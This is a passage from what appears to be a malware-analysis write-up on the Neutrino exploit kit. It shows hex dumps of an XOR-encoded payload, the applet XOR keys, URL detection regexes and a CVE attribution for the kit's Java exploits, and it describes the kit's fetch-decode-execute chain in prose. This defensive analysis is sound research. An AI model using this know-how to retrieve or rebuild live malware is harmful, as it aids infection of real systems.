0000070: 1803 4703 034d 2325 3e4d 0a05 0908 4967 ..G..M#%>M....Ig
0000080: 6067 436a 6d6d 676a 6d6d c386 c3a9 c2a4 `gCjmmgjmm......
0000090: c393 c282 c288 c38a c280 c282 c288 c38a ................
00000a0: c280 c282 c288 c38a c280 c28b c3b0 5fc2 .............._.
00000b0: 80c2 83c2 88c3 8ac2 80c2 8bc3 b049 c280 .............I..
00000c0: c281 c288 c38a c280 c28b c3b0 59c2 80c2 ............Y...
00000d0: a1c2 88c3 8ac2 80c2 82c2 88c3 8bc2 803b ...............;
00000e0: c288 c38a c280 c299 1565 c280 c285 c288 .........e......
00000f0: c38a c280 c299 1551 c280 c283 c288 c38a .......Q........
0000100: c280 c299 1550 c280 c283 c288 c38a c280 .....P..........
0000110: c299 1557 c280 c283 c288 c38a c280 3503 ...W..........5.
0000120: 0e05 c282 c288 c38a c280 676a 6d6d 676a ..........gjmmgj
0000130: 6d6d 676a 6d6d 676a 6d6d 372f 6d6d 2b6b mmgjmmgjmm7/mm+k
Looks like we do not have an exe file, and we can spot a pettern indicating it is xored. Luckily we have the XOR key from the applet tags we downloaded. The xor key changes quite often but is stuck on 4 byte. Here are some samples:
<param name='xkey' value='lspw'>
<param name='xkey' value='gjmm'>
<param name="xkey" value="qgrw">
The XOR scheme has been the same for Neutrino for a long time. And using my python script made in a previous analysis will give you the correct exe.
0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3 MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000 ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000040: c3a8 0000 000e 1fc2 ba0e 00c2 b409 c38d ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072 gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 c2a1 c283 c389 ..$.............
0000090: c2be c3a5 c3a2 c2a7 c3ad c3a5 c3a2 c2a7 ................
00000a0: c3ad c3a5 c3a2 c2a7 c3ad c3ac c29a 32c3 ..............2.
00000b0: adc3 a4c3 a2c2 a7c3 adc3 acc2 9a24 c3ad .............$..
>
8. Detection
For those interested in network detection
landing: /h[a-z0-9]{1,16}\?g[a-z0-9]{1,12}=[0-9]{6,7}$
JAR: /e[a-z0-9]{1,11}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /z[a-z0-9]{1,16}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$
The first char change frequently though so you have to hunt the kit to make sure you are covered.
www.malwaresigs.com have less specific patterns.
9. Epilogue
The new stuff uncovered, at least for me, is that we have confirmed that Neutrino only has Java exploits. In addition the DGA/TDS have changed, the small static parts of the URL's for EXE and JAR download keep on changing. Otherwise this is the same old EK we know. Todo: look into the 0-Day JAR to verify it is the 0-day reported by others and to see if there is one or more exploits in the JARs.
Update 2013-09-06:
Having looked at the JARs in more detail. They are all the same for Java 1.6 and 1.7. As far as I can figure out they are all exploting the CVE-2013-2463 (all java 1.6 and < Java 1.7.0_25). The only good reference on this is from packetstorm, but looking at the code there makes me pretty sure thats where this code originates from :) Thank U to the Packetstorm bounty program!
And here is the usual Neutrino base64 decode of malware url, fetch the binary, XOR the binary, write to temp file and exec:
Good places to look for info on neutrino:
Happy Neutrino EK JAR and EXE manual fetching :)
